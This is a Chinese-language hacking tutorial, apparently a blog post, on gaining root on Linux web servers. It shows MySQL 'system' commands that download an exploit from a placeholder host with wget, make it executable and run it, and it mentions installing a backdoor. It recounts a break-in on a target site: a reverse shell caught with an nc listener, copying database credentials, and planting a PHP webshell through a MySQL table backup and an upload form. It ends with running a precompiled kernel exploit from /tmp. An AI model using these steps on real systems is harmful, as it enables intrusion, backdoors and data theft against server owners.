利用mysql root提权方法
mysql 5.x里面引入了一个system函数,这个函数可以执行系统命令,当mysql以root登陆的时候,就可以利用这个函数执行命令,当然是在权限许可的 范围内。
一般我们按照常规思路,搞到mysql的root密码之后,我们都会连接上去,创建一个表,然后outfile,搞到一个webshell ,然后提权如斯这般。今天我们换一种方式。
按照上面的方法,我们需要知道web的绝对路径,当然这个很不好找,有些有sqlinjection的,可能报错会显示出来,有的就不一定了。但是 按照我的的方法,没有必要再去找web路径了,直接执行
mysql>system vi /etc/httpd/conf/httpd.conf;
直接这样就可以找到web的路径,当然,我们的目的并不是找web路径,放webshell进去。我们是要来做其他的事情,好比,下载exp执行, 搞到 root权限,然后装后门
mysql>system wget http://www.xxx.com/xxxx ;
mysql>system chmod +x xxxx; mysql>system ./xxxx;
这样mysql的root此时就成为system的root了,剩下的事情,假如开了ssh,就ssh连接上去,输入mysql的用户密码,ok,搞 定。
Linux低权限提权
反弹试试 tmp里创建好文件,SHELL目录传马,执行,本地NC监听上线,WHOAMI一下,是WWWROOT权限
查看版本
可以CD到根目录上级(/var/www/virtual/),再LS一下,全盘网站都出来了,目标站也没瞎起文件夹名,但是没权限跳不进去
试着TAR打包,没权限,试着单独打包目标站目录文件,可以,但是根目录CONN.CONFIG被限制当前目标站可读权限。
尝试CP目标站include目录,竟然可以复制过来,但是不可写复制不过去,找到了数据库配置信息,再另外服务器上。
先把数据库用phpspyshell备份过来:
查看到一些配置信息跟账号,但是没有后台路径等敏感信息
扫描工具扫不到目标网站文件夹,估计修改过了
试着提权CMDSHELL为USER或者ROOT,没有直接去看Apache的配置设置,试着WGET几个EXP,但是都没用,估计打过补丁
CP虽然可以,但是不知道具体的信息
既然WEB没权限,就试着MYSQL看看有没有权限吧
直接
CREATE TABLE hackdn (spider BLOB);创建表hackdn
插一句话
保存
然后备份成目标路径1.php文件。发现连接不了。
CP过来一看,被反译符分隔了,
不加 ‘ 的话,就插入
再备份为PHP后,本地保存以下代码为
代码如下 | 复制代码 |
1.HTML <form ENCTYPE=”multipart/form-data” ACTION=”http://www.webshell.cc/mysql_bak/1.php” METHOD=”POST”>
<input NAME=”MyFile” TYPE=”file”> <input VALUE=” 提交 ” TYPE=”submit”> </form> |
简单的linux提权
拿到shell了,准备提权.先看下linux内核
uname -a
2.6.18-194.11.3.el5 内核 2010的,这个好CentOS release 5.5好提
然后百度或者其它路径找EXP,2.6.18-194这个内核我已经收藏过.上传到/tmp,为什么要传到这个目录呢?
因为tmp目录可写可执行一般,继续ing.
找个外网IP 监听12666,当然12666也可以改。我这里用NC监听nc -l -n -v -p 12666
[Ok3w_NextPage]然后再点你shell
连接成功就出现下面的内容
然后我们进到/tmp目录
cd /tmp 进入到tmp目录了,看下我们之前上传的2.6.18-194
我这里有权限rwx,可读可写可执行.如果没有权限chmod -R 777 文件名
我这里的exp已编译过了,直接执行溢出就ok了 ./2.6.18-194 要是你的exp没有编译gcc -o /tmp/文件名 /tmp/文件名.c ,自己编译下就行了
成功了。。 其实linux提权还是很简单,关键看有没exp... 完了 完了 !!!!!